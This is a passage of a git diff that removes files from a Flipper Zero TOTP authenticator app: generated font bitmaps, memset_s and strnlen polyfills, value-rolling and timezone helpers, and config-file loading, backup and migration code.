0x00, - 0x81, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x3D, - 0x00, - 0x43, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0xC2, - 0x00, - 0x3C, - 0x00, - - /* @256 '7' (9 pixels wide) */ - 0xFF, - 0x01, - 0x80, - 0x00, - 0x80, - 0x00, - 0x40, - 0x00, - 0x40, - 0x00, - 0x20, - 0x00, - 0x20, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x08, - 0x00, - 0x08, - 0x00, - 0x04, - 0x00, - 0x04, - 0x00, - 0x02, - 0x00, - 0x02, - 0x00, - 0x01, - 0x00, - - /* @288 '8' (9 pixels wide) */ - 0x3C, - 0x00, - 0xC2, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x42, - 0x00, - 0x3C, - 0x00, - 0x42, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x42, - 0x00, - 0x3C, - 0x00, - - /* @320 '9' (9 pixels wide) */ - 0x3C, - 0x00, - 0x42, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0xC2, - 0x00, - 0xBC, - 0x00, - 0x80, - 0x00, - 0x80, - 0x00, - 0x80, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x42, - 0x00, - 0x3C, - 0x00, - - /* @352 'B' (9 pixels wide) */ - 0x3F, - 0x00, - 0xC1, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x41, - 0x00, - 0x3F, - 0x00, - 0x41, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x41, - 0x00, - 0x3F, - 0x00, - - /* @384 'C' (9 pixels wide) */ - 0x3C, - 0x00, - 0x42, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x42, - 0x00, - 0x3C, - 0x00, - - /* @416 'D' (9 pixels wide) */ - 0x3F, - 0x00, - 0x41, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x41, - 0x00, - 0x3F, - 0x00, - - /* @448 'F' (9 pixels wide) */ - 0xFF, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0xFF, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - - /* @480 'G' (9 pixels wide) */ - 0x3C, - 0x00, - 0xC2, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0xF1, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x42, - 0x00, - 0x3C, - 0x00, - - /* @512 'H' (9 pixels wide) */ - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0xFF, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - - /* @544 'J' (9 pixels wide) */ - 0x80, - 0x00, - 0x80, - 0x00, - 0x80, - 0x00, - 0x80, - 0x00, - 0x80, - 0x00, - 0x80, - 0x00, - 0x80, - 0x00, - 0x80, - 0x00, - 0x80, - 0x00, - 0x80, - 0x00, - 0x80, - 0x00, - 0x80, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x42, - 0x00, - 0x3C, - 0x00, - - /* @576 'K' (9 pixels wide) */ - 0x81, - 0x00, - 0xC1, - 0x00, - 0x61, - 0x00, - 0x21, - 0x00, - 0x11, - 0x00, - 0x09, - 0x00, - 0x05, - 0x00, - 0x03, - 0x00, - 0x01, - 0x00, - 0x03, - 0x00, - 0x05, - 0x00, - 0x09, - 0x00, - 0x11, - 0x00, - 0x21, - 0x00, - 0x41, - 0x00, - 0x81, - 0x00, - - /* @608 'M' (9 pixels wide) */ - 0x81, - 0x00, - 0x81, - 0x00, - 0x83, - 0x00, - 0xC3, - 0x00, - 0xC5, - 0x00, - 0xA5, - 0x00, - 0xA9, - 0x00, - 0x91, - 0x00, - 0x91, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - - /* @640 'N' (9 pixels wide) */ - 0x81, - 0x00, - 0x81, - 0x00, - 0x83, - 0x00, - 0x83, - 0x00, - 0x85, - 0x00, - 0x85, - 0x00, - 0x89, - 0x00, - 0x89, - 0x00, - 0x91, - 0x00, - 0xA1, - 0x00, - 0xA1, - 0x00, - 0xC1, - 0x00, - 0xC1, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - - /* @672 'P' (9 pixels wide) */ - 0x3F, - 0x00, - 0x41, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x41, - 0x00, - 0x3F, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - - /* @704 'Q' (9 pixels wide) */ - 0x3C, - 0x00, - 0x42, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x91, - 0x00, - 0xA1, - 0x00, - 0xC2, - 0x00, - 0xBC, - 0x00, - - /* @736 'R' (9 pixels wide) */ - 0x3F, - 0x00, - 0x41, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x41, - 0x00, - 0x3F, - 0x00, - 0x03, - 0x00, - 0x05, - 0x00, - 0x09, - 0x00, - 0x11, - 0x00, - 0x21, - 0x00, - 0x41, - 0x00, - 0x81, - 0x00, - - /* @768 'T' (9 pixels wide) */ - 0xFF, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - - /* @800 'V' (9 pixels wide) */ - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x82, - 0x00, - 0x42, - 0x00, - 0x44, - 0x00, - 0x24, - 0x00, - 0x28, - 0x00, - 0x18, - 0x00, - 0x10, - 0x00, - - /* @832 'W' (9 pixels wide) */ - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x91, - 0x00, - 0x91, - 0x00, - 0x99, - 0x00, - 0xA9, - 0x00, - 0xA5, - 0x00, - 0xC5, - 0x00, - 0x83, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - - /* @864 'X' (9 pixels wide) */ - 0x81, - 0x00, - 0x82, - 0x00, - 0x82, - 0x00, - 0x44, - 0x00, - 0x44, - 0x00, - 0x28, - 0x00, - 0x28, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x28, - 0x00, - 0x28, - 0x00, - 0x44, - 0x00, - 0x44, - 0x00, - 0x82, - 0x00, - 0x82, - 0x00, - 0x81, - 0x00, - - /* @896 'Y' (9 pixels wide) */ - 0x81, - 0x00, - 0x82, - 0x00, - 0x82, - 0x00, - 0x44, - 0x00, - 0x44, - 0x00, - 0x28, - 0x00, - 0x28, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, -}; - -/* Character descriptors for Zector 18pt */ -/* { [Char width in bits], [Offset into zector_18ptCharBitmaps in bytes] } */ -const FONT_CHAR_INFO zector_18ptDescriptors[] = { - {9, 0}, /* - */ - {0, 0}, /* . */ - {0, 0}, /* / */ - {9, 32}, /* 0 */ - {9, 64}, /* 1 */ - {9, 96}, /* 2 */ - {9, 128}, /* 3 */ - {9, 160}, /* 4 */ - {9, 192}, /* 5 */ - {9, 224}, /* 6 */ - {9, 256}, /* 7 */ - {9, 288}, /* 8 */ - {9, 320}, /* 9 */ - {0, 0}, /* : */ - {0, 0}, /* ; */ - {0, 0}, /* < */ - {0, 0}, /* = */ - {0, 0}, /* > */ - {0, 0}, /* ? */ - {0, 0}, /* @ */ - {0, 0}, /* A */ - {9, 352}, /* B */ - {9, 384}, /* C */ - {9, 416}, /* D */ - {0, 0}, /* E */ - {9, 448}, /* F */ - {9, 480}, /* G */ - {9, 512}, /* H */ - {0, 0}, /* I */ - {9, 544}, /* J */ - {9, 576}, /* K */ - {0, 0}, /* L */ - {9, 608}, /* M */ - {9, 640}, /* N */ - {0, 0}, /* O */ - {9, 672}, /* P */ - {9, 704}, /* Q */ - {9, 736}, /* R */ - {0, 0}, /* S */ - {9, 768}, /* T */ - {0, 0}, /* U */ - {9, 800}, /* V */ - {9, 832}, /* W */ - {9, 864}, /* X */ - {9, 896}, /* Y */ -}; - -/* Font information for Zector 18pt */ -const FONT_INFO zector_18ptFontInfo = { - "Zector", - 16, /* Character height */ - '-', /* Start character */ - 'Y', /* End character */ - 2, /* Width, in pixels, of space character */ - zector_18ptDescriptors, /* Character descriptor array */ - zector_18ptBitmaps, /* Character bitmap array */ -}; diff --git a/applications/external/totp/lib/fonts/zector/zector.h b/applications/external/totp/lib/fonts/zector/zector.h deleted file mode 100644 index 2a5cf5907..000000000 --- a/applications/external/totp/lib/fonts/zector/zector.h +++ /dev/null @@ -1,8 +0,0 @@ -#pragma once - -/* GENERATED BY https://github.com/pavius/the-dot-factory */ - -#include "../font_info.h" - -/* Font information for Zector 18pt */ -extern const FONT_INFO zector_18ptFontInfo; \ No newline at end of file diff --git a/applications/external/totp/lib/polyfills/memset_s.c b/applications/external/totp/lib/polyfills/memset_s.c deleted file mode 100644 index 81c285c0d..000000000 --- a/applications/external/totp/lib/polyfills/memset_s.c +++ /dev/null @@ -1,22 +0,0 @@ -#include "memset_s.h" - -#define RSIZE_MAX 0x7fffffffffffffffUL - -errno_t memset_s(void* s, rsize_t smax, int c, rsize_t n) { - if(!s || smax > RSIZE_MAX) { - return EINVAL; - } - - errno_t violation_present = 0; - if(n > smax) { - n = smax; - violation_present = EINVAL; - } - - volatile unsigned char* v = s; - for(rsize_t i = 0u; i < n; ++i) { - *v++ = (unsigned char)c; - } - - return violation_present; -} \ No newline at end of file diff --git a/applications/external/totp/lib/polyfills/memset_s.h b/applications/external/totp/lib/polyfills/memset_s.h deleted file mode 100644 index 54628860d..000000000 --- a/applications/external/totp/lib/polyfills/memset_s.h +++ /dev/null @@ -1,23 +0,0 @@ -#pragma once - -#include -#include - -#ifndef _RSIZE_T_DECLARED -typedef uint64_t rsize_t; -#define _RSIZE_T_DECLARED -#endif -#ifndef _ERRNOT_DECLARED -typedef int16_t errno_t; //-V677 -#define _ERRNOT_DECLARED -#endif - -/** - * @brief Copies the value \p c into each of the first \p n characters of the object pointed to by \p s. - * @param s pointer to the object to fill - * @param smax size of the destination object - * @param c fill byte - * @param n number of bytes to fill - * @return \c 0 on success; non-zero otherwise - */ -errno_t memset_s(void* s, rsize_t smax, int c, rsize_t n); \ No newline at end of file diff --git a/applications/external/totp/lib/polyfills/strnlen.c b/applications/external/totp/lib/polyfills/strnlen.c deleted file mode 100644 index 54d183895..000000000 --- a/applications/external/totp/lib/polyfills/strnlen.c +++ /dev/null @@ -1,11 +0,0 @@ -#include "strnlen.h" - -size_t strnlen(const char* s, size_t maxlen) { - size_t len; - - for(len = 0; len < maxlen; len++, s++) { - if(!*s) break; - } - - return len; -} \ No newline at end of file diff --git a/applications/external/totp/lib/polyfills/strnlen.h b/applications/external/totp/lib/polyfills/strnlen.h deleted file mode 100644 index 4fe0d540c..000000000 --- a/applications/external/totp/lib/polyfills/strnlen.h +++ /dev/null @@ -1,6 +0,0 @@ -#pragma once -#pragma weak strnlen - -#include - -size_t strnlen(const char* s, size_t maxlen); \ No newline at end of file diff --git a/applications/external/totp/lib/roll_value/roll_value.c b/applications/external/totp/lib/roll_value/roll_value.c deleted file mode 100644 index 326c7846a..000000000 --- a/applications/external/totp/lib/roll_value/roll_value.c +++ /dev/null @@ -1,28 +0,0 @@ -#include "roll_value.h" - -#define TOTP_ROLL_VALUE_FN(type, step_type) \ - TOTP_ROLL_VALUE_FN_HEADER(type, step_type) { \ - type v = *value; \ - if(step > 0 && v > max - step) { \ - if(overflow_behavior == RollOverflowBehaviorRoll) { \ - v = min; \ - } else if(overflow_behavior == RollOverflowBehaviorStop) { \ - v = max; \ - } \ - } else if(step < 0 && v < min - step) { \ - if(overflow_behavior == RollOverflowBehaviorRoll) { \ - v = max; \ - } else if(overflow_behavior == RollOverflowBehaviorStop) { \ - v = min; \ - } \ - } else { \ - v += step; \ - } \ - *value = v; \ - } - -TOTP_ROLL_VALUE_FN(int8_t, int8_t) - -TOTP_ROLL_VALUE_FN(uint8_t, int8_t) - -TOTP_ROLL_VALUE_FN(size_t, int16_t); \ No newline at end of file diff --git a/applications/external/totp/lib/roll_value/roll_value.h b/applications/external/totp/lib/roll_value/roll_value.h deleted file mode 100644 index 0c1894fd6..000000000 --- a/applications/external/totp/lib/roll_value/roll_value.h +++ /dev/null @@ -1,59 +0,0 @@ -#pragma once - -#include -#include - -typedef uint8_t TotpRollValueOverflowBehavior; - -enum TotpRollValueOverflowBehaviors { - /** - * @brief Do not change value if it reached constraint - */ - RollOverflowBehaviorStop, - - /** - * @brief Set value to opposite constraint value if it reached constraint - */ - RollOverflowBehaviorRoll -}; - -#define TOTP_ROLL_VALUE_FN_HEADER(type, step_type) \ - void totp_roll_value_##type( \ - type* value, \ - step_type step, \ - type min, \ - type max, \ - TotpRollValueOverflowBehavior overflow_behavior) - -/** - * @brief Rolls \c int8_t \p value using \p min and \p max as an value constraints with \p step step. - * When value reaches constraint value \p overflow_behavior defines what to do next. - * @param[in,out] value value to roll - * @param step step to be used to change value - * @param min minimal possible value - * @param max maximum possible value - * @param overflow_behavior defines what to do when value reaches constraint value - */ -TOTP_ROLL_VALUE_FN_HEADER(int8_t, int8_t); - -/** - * @brief Rolls \c uint8_t \p value using \p min and \p max as an value constraints with \p step step. - * When value reaches constraint value \p overflow_behavior defines what to do next. - * @param[in,out] value value to roll - * @param step step to be used to change value - * @param min minimal possible value - * @param max maximum possible value - * @param overflow_behavior defines what to do when value reaches constraint value - */ -TOTP_ROLL_VALUE_FN_HEADER(uint8_t, int8_t); - -/** - * @brief Rolls \c size_t \p value using \p min and \p max as an value constraints with \p step step. - * When value reaches constraint value \p overflow_behavior defines what to do next. - * @param[in,out] value value to roll - * @param step step to be used to change value - * @param min minimal possible value - * @param max maximum possible value - * @param overflow_behavior defines what to do when value reaches constraint value - */ -TOTP_ROLL_VALUE_FN_HEADER(size_t, int16_t); \ No newline at end of file diff --git a/applications/external/totp/lib/timezone_utils/timezone_utils.c b/applications/external/totp/lib/timezone_utils/timezone_utils.c deleted file mode 100644 index 31df3bbba..000000000 --- a/applications/external/totp/lib/timezone_utils/timezone_utils.c +++ /dev/null @@ -1,16 +0,0 @@ -#include "timezone_utils.h" - -int32_t timezone_offset_from_hours(float hours) { - return hours * 3600.0f; -} - -uint64_t timezone_offset_apply(uint64_t time, int32_t offset) { - uint64_t for_time_adjusted; - if(offset > 0) { - for_time_adjusted = time - offset; - } else { - for_time_adjusted = time + (-offset); - } - - return for_time_adjusted; -} diff --git a/applications/external/totp/lib/timezone_utils/timezone_utils.h b/applications/external/totp/lib/timezone_utils/timezone_utils.h deleted file mode 100644 index 5bb3b8ead..000000000 --- a/applications/external/totp/lib/timezone_utils/timezone_utils.h +++ /dev/null @@ -1,18 +0,0 @@ -#pragma once - -#include - -/** - * @brief Calculates timezone offset in seconds given timezone offset in hours. - * @param hours timezone offset in hours - * @return Timezone offset in seconds. - */ -int32_t timezone_offset_from_hours(float hours); - -/** - * @brief Applies timezone offset to a given time. - * @param time time to apply offset to. - * @param offset timezone offset in seconds. - * @return Time with timezone offset applied. - */ -uint64_t timezone_offset_apply(uint64_t time, int32_t offset); diff --git a/applications/external/totp/services/config/config.c b/applications/external/totp/services/config/config.c deleted file mode 100644 index 19b1cf368..000000000 --- a/applications/external/totp/services/config/config.c +++ /dev/null @@ -1,727 +0,0 @@ -#include "config.h" -#include -#include -#include -#include -#include -#include -#include -#include "../../types/common.h" -#include "../../types/token_info.h" -#include "../../features_config.h" -#include "../crypto/crypto_facade.h" -#include "../crypto/constants.h" -#include "migrations/common_migration.h" - -#define CONFIG_FILE_PATH CONFIG_FILE_DIRECTORY_PATH "/totp.conf" -#define CONFIG_FILE_BACKUP_DIR CONFIG_FILE_DIRECTORY_PATH "/backups" -#define CONFIG_FILE_BACKUP_BASE_PATH CONFIG_FILE_BACKUP_DIR "/totp.conf" - -struct ConfigFileContext { - /** - * @brief Config file reference - */ - FlipperFormat* config_file; - - /** - * @brief Storage reference - */ - Storage* storage; - - /** - * @brief Token list iterator context - */ - TokenInfoIteratorContext* token_info_iterator_context; -}; - -/** - * @brief Opens storage record - * @return Storage record - */ -static Storage* totp_open_storage() { - return furi_record_open(RECORD_STORAGE); -} - -/** - * @brief Closes storage record - */ -static void totp_close_storage() { - furi_record_close(RECORD_STORAGE); -} - -/** - * @brief Closes config file - * @param file config file reference - */ -static void totp_close_config_file(FlipperFormat* file) { - if(file == NULL) return; - flipper_format_file_close(file); - flipper_format_free(file); -} - -/** - * @brief Tries to take a config file backup - * @param storage storage record - * @return backup path if backup successfully taken; \c NULL otherwise - */ -static char* totp_config_file_backup_i(Storage* storage) { - if(!storage_dir_exists(storage, CONFIG_FILE_BACKUP_DIR) && - !storage_simply_mkdir(storage, CONFIG_FILE_BACKUP_DIR)) { - return NULL; - } - - FuriHalRtcDateTime current_datetime; - furi_hal_rtc_get_datetime(¤t_datetime); - - uint8_t backup_path_size = sizeof(CONFIG_FILE_BACKUP_BASE_PATH) + 14; - char* backup_path = malloc(backup_path_size); - furi_check(backup_path != NULL); - memcpy(backup_path, CONFIG_FILE_BACKUP_BASE_PATH, sizeof(CONFIG_FILE_BACKUP_BASE_PATH)); - uint16_t i = 1; - bool backup_file_exists; - do { - snprintf( - backup_path, - backup_path_size, - CONFIG_FILE_BACKUP_BASE_PATH ".%4" PRIu16 "%02" PRIu8 "%02" PRIu8 "-%" PRIu16, - current_datetime.year, - current_datetime.month, - current_datetime.day, - i); - i++; - } while((backup_file_exists = storage_common_exists(storage, backup_path)) && i <= 9999); - - if(backup_file_exists || - storage_common_copy(storage, CONFIG_FILE_PATH, backup_path) != FSE_OK) { - FURI_LOG_E(LOGGING_TAG, "Unable to take a backup"); - free(backup_path); - return NULL; - } - - FURI_LOG_I(LOGGING_TAG, "Took config file backup to %s", backup_path); - return backup_path; -} - -/** - * @brief Opens or creates TOTP application standard config file - * @param storage storage record to use - * @param[out] file opened config file - * @return Config file open result - */ -static bool totp_open_config_file(Storage* storage, FlipperFormat** file) { - FlipperFormat* fff_data_file = flipper_format_file_alloc(storage); - - bool conf_file_exists = storage_common_stat(storage, CONFIG_FILE_PATH, NULL) == FSE_OK; - if(!conf_file_exists) { - FURI_LOG_I(LOGGING_TAG, "Application catalog needs to be migrated"); - FS_Error migration_result = - storage_common_migrate(storage, EXT_PATH("authenticator"), CONFIG_FILE_DIRECTORY_PATH); - FURI_LOG_I(LOGGING_TAG, "Migrated catalog. Result code: %d", (int)migration_result); - conf_file_exists = storage_common_stat(storage, CONFIG_FILE_PATH, NULL) == FSE_OK; - } - - if(conf_file_exists) { - FURI_LOG_D(LOGGING_TAG, "Config file %s found", CONFIG_FILE_PATH); - if(!flipper_format_file_open_existing(fff_data_file, CONFIG_FILE_PATH)) { - FURI_LOG_E(LOGGING_TAG, "Error opening existing file %s", CONFIG_FILE_PATH); - totp_close_config_file(fff_data_file); - return false; - } - } else { - FURI_LOG_D(LOGGING_TAG, "Config file %s is not found. Will create new.", CONFIG_FILE_PATH); - - if(!flipper_format_file_open_new(fff_data_file, CONFIG_FILE_PATH)) { - totp_close_config_file(fff_data_file); - FURI_LOG_E(LOGGING_TAG, "Error creating new file %s", CONFIG_FILE_PATH); - return false; - } - - flipper_format_write_header_cstr( - fff_data_file, CONFIG_FILE_HEADER, CONFIG_FILE_ACTUAL_VERSION); - - uint32_t tmp_uint32 = CRYPTO_LATEST_VERSION; - flipper_format_write_uint32(fff_data_file, TOTP_CONFIG_KEY_CRYPTO_VERSION, &tmp_uint32, 1); - - tmp_uint32 = DEFAULT_CRYPTO_KEY_SLOT; - flipper_format_write_uint32( - fff_data_file, TOTP_CONFIG_KEY_CRYPTO_KEY_SLOT, &tmp_uint32, 1); - - flipper_format_write_comment_cstr( - fff_data_file, - "Config file format specification can be found here: https://github.com/akopachov/flipper-zero_authenticator/blob/master/docs/conf-file_description.md"); - - float tmp_tz = 0; - flipper_format_write_float(fff_data_file, TOTP_CONFIG_KEY_TIMEZONE, &tmp_tz, 1); - - tmp_uint32 = NotificationMethodSound | NotificationMethodVibro; - flipper_format_write_uint32( - fff_data_file, TOTP_CONFIG_KEY_NOTIFICATION_METHOD, &tmp_uint32, 1); - - tmp_uint32 = AutomationMethodBadUsb; - flipper_format_write_uint32( - fff_data_file, TOTP_CONFIG_KEY_AUTOMATION_METHOD, &tmp_uint32, 1); - - tmp_uint32 = AutomationKeyboardLayoutQWERTY; - flipper_format_write_uint32( - fff_data_file, TOTP_CONFIG_KEY_AUTOMATION_KB_LAYOUT, &tmp_uint32, 1); - - tmp_uint32 = 0; //-V1048 - flipper_format_write_uint32(fff_data_file, TOTP_CONFIG_KEY_FONT, &tmp_uint32, 1); - - if(!flipper_format_rewind(fff_data_file)) { - totp_close_config_file(fff_data_file); - FURI_LOG_E(LOGGING_TAG, "Rewind error"); - return false; - } - } - - *file = fff_data_file; - return true; -} - -char* totp_config_file_backup(const PluginState* plugin_state) { - if(plugin_state->config_file_context == NULL) return NULL; - - totp_close_config_file(plugin_state->config_file_context->config_file); - - char* result = totp_config_file_backup_i(plugin_state->config_file_context->storage); - - totp_open_config_file( - plugin_state->config_file_context->storage, - &plugin_state->config_file_context->config_file); - - totp_token_info_iterator_attach_to_config_file( - plugin_state->config_file_context->token_info_iterator_context, - plugin_state->config_file_context->config_file); - - return result; -} - -bool totp_config_file_update_timezone_offset(const PluginState* plugin_state) { - FlipperFormat* file = plugin_state->config_file_context->config_file; - flipper_format_rewind(file); - bool update_result = false; - - do { - if(!flipper_format_insert_or_update_float( - file, TOTP_CONFIG_KEY_TIMEZONE, &plugin_state->timezone_offset, 1)) { - break; - } - - update_result = true; - } while(false); - - return update_result; -} - -bool totp_config_file_update_notification_method(const PluginState* plugin_state) { - FlipperFormat* file = plugin_state->config_file_context->config_file; - flipper_format_rewind(file); - bool update_result = false; - - do { - uint32_t tmp_uint32 = plugin_state->notification_method; - if(!flipper_format_insert_or_update_uint32( - file, TOTP_CONFIG_KEY_NOTIFICATION_METHOD, &tmp_uint32, 1)) { - break; - } - - update_result = true; - } while(false); - - return update_result; -} - -bool totp_config_file_update_automation_method(const PluginState* plugin_state) { - FlipperFormat* file = plugin_state->config_file_context->config_file; - flipper_format_rewind(file); - bool update_result = false; - - do { - uint32_t tmp_uint32 = plugin_state->automation_method; - if(!flipper_format_insert_or_update_uint32( - file, TOTP_CONFIG_KEY_AUTOMATION_METHOD, &tmp_uint32, 1)) { - break; - } - - tmp_uint32 = plugin_state->automation_kb_layout; - if(!flipper_format_insert_or_update_uint32( - file, TOTP_CONFIG_KEY_AUTOMATION_KB_LAYOUT, &tmp_uint32, 1)) { - break; - } - - update_result = true; - } while(false); - - return update_result; -} - -bool totp_config_file_update_user_settings(const PluginState* plugin_state) { - FlipperFormat* file = plugin_state->config_file_context->config_file; - flipper_format_rewind(file); - bool update_result = false; - do { - if(!flipper_format_insert_or_update_float( - file, TOTP_CONFIG_KEY_TIMEZONE, &plugin_state->timezone_offset, 1)) { - break; - } - uint32_t tmp_uint32 = plugin_state->notification_method; - if(!flipper_format_insert_or_update_uint32( - file, TOTP_CONFIG_KEY_NOTIFICATION_METHOD, &tmp_uint32, 1)) { - break; - } - - tmp_uint32 = plugin_state->automation_method; - if(!flipper_format_insert_or_update_uint32( - file, TOTP_CONFIG_KEY_AUTOMATION_METHOD, &tmp_uint32, 1)) { - break; - } - - tmp_uint32 = plugin_state->active_font_index; - if(!flipper_format_insert_or_update_uint32(file, TOTP_CONFIG_KEY_FONT, &tmp_uint32, 1)) { - break; - } - - tmp_uint32 = plugin_state->automation_kb_layout; - if(!flipper_format_insert_or_update_uint32( - file, TOTP_CONFIG_KEY_AUTOMATION_KB_LAYOUT, &tmp_uint32, 1)) { - break; - } - - update_result = true; - } while(false); - - return update_result; -} - -bool totp_config_file_load(PluginState* const plugin_state) { - Storage* storage = totp_open_storage(); - FlipperFormat* fff_data_file; - if(!totp_open_config_file(storage, &fff_data_file)) { - totp_close_storage(); - return false; - } - - flipper_format_rewind(fff_data_file); - - bool result = false; - - plugin_state->timezone_offset = 0; - - FuriString* temp_str = furi_string_alloc(); - - do { - uint32_t file_version; - if(!flipper_format_read_header(fff_data_file, temp_str, &file_version)) { - FURI_LOG_E(LOGGING_TAG, "Missing or incorrect header"); - break; - } - - if(file_version < CONFIG_FILE_ACTUAL_VERSION) { - FURI_LOG_I( - LOGGING_TAG, - "Obsolete config file version detected. Current version: %" PRIu32 - "; Actual version: %" PRId16, - file_version, - CONFIG_FILE_ACTUAL_VERSION); - totp_close_config_file(fff_data_file); - - char* backup_path = totp_config_file_backup_i(storage); - - if(backup_path != NULL) { - if(totp_open_config_file(storage, &fff_data_file) != true) { - break; - } - - FlipperFormat* fff_backup_data_file = flipper_format_file_alloc(storage); - if(!flipper_format_file_open_existing(fff_backup_data_file, backup_path)) { - flipper_format_file_close(fff_backup_data_file); - flipper_format_free(fff_backup_data_file); - break; - } - - if(totp_config_migrate_to_latest(fff_data_file, fff_backup_data_file)) { - FURI_LOG_I( - LOGGING_TAG, - "Applied migration to version %" PRId16, - CONFIG_FILE_ACTUAL_VERSION); - file_version = CONFIG_FILE_ACTUAL_VERSION; - } else { - FURI_LOG_W( - LOGGING_TAG, - "An error occurred during migration to version %" PRId16, - CONFIG_FILE_ACTUAL_VERSION); - break; - } - - flipper_format_file_close(fff_backup_data_file); - flipper_format_free(fff_backup_data_file); - flipper_format_rewind(fff_data_file); - free(backup_path); - } else { - FURI_LOG_E( - LOGGING_TAG, - "An error occurred during taking backup of %s before migration", - CONFIG_FILE_PATH); - break; - } - } - - uint32_t tmp_uint32; - - if(!flipper_format_read_uint32( - fff_data_file, TOTP_CONFIG_KEY_CRYPTO_VERSION, &tmp_uint32, 1)) { - FURI_LOG_E(LOGGING_TAG, "Missing required " TOTP_CONFIG_KEY_CRYPTO_VERSION "property"); - break; - } - - plugin_state->crypto_settings.crypto_version = tmp_uint32; - - if(!flipper_format_rewind(fff_data_file)) { - break; - } - - if(!flipper_format_read_uint32( - fff_data_file, TOTP_CONFIG_KEY_CRYPTO_KEY_SLOT, &tmp_uint32, 1)) { - FURI_LOG_E( - LOGGING_TAG, "Missing required " TOTP_CONFIG_KEY_CRYPTO_KEY_SLOT "property"); - break; - } - - plugin_state->crypto_settings.crypto_key_slot = tmp_uint32; - - if(!flipper_format_rewind(fff_data_file)) { - break; - } - - if(!flipper_format_read_hex( - fff_data_file, - TOTP_CONFIG_KEY_BASE_IV, - &plugin_state->crypto_settings.base_iv[0], - CRYPTO_IV_LENGTH)) { - FURI_LOG_D(LOGGING_TAG, "Missing base IV"); - } - - if(!flipper_format_rewind(fff_data_file)) { - break; - } - - uint32_t crypto_size; - if(flipper_format_get_value_count( - fff_data_file, TOTP_CONFIG_KEY_CRYPTO_VERIFY, &crypto_size) && - crypto_size > 0) { - plugin_state->crypto_settings.crypto_verify_data = - malloc(sizeof(uint8_t) * crypto_size); - furi_check(plugin_state->crypto_settings.crypto_verify_data != NULL); - plugin_state->crypto_settings.crypto_verify_data_length = crypto_size; - if(!flipper_format_read_hex( - 